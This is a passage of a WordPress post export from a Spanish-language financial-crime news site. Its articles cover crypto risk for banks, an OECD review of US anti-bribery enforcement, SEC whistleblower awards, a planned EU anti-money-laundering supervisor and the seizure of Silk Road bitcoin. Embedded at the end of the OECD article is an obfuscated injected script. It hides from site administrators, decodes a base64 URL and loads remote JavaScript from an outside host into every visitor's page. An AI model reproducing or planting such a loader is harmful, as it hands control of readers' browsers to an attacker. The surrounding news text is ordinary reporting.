cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 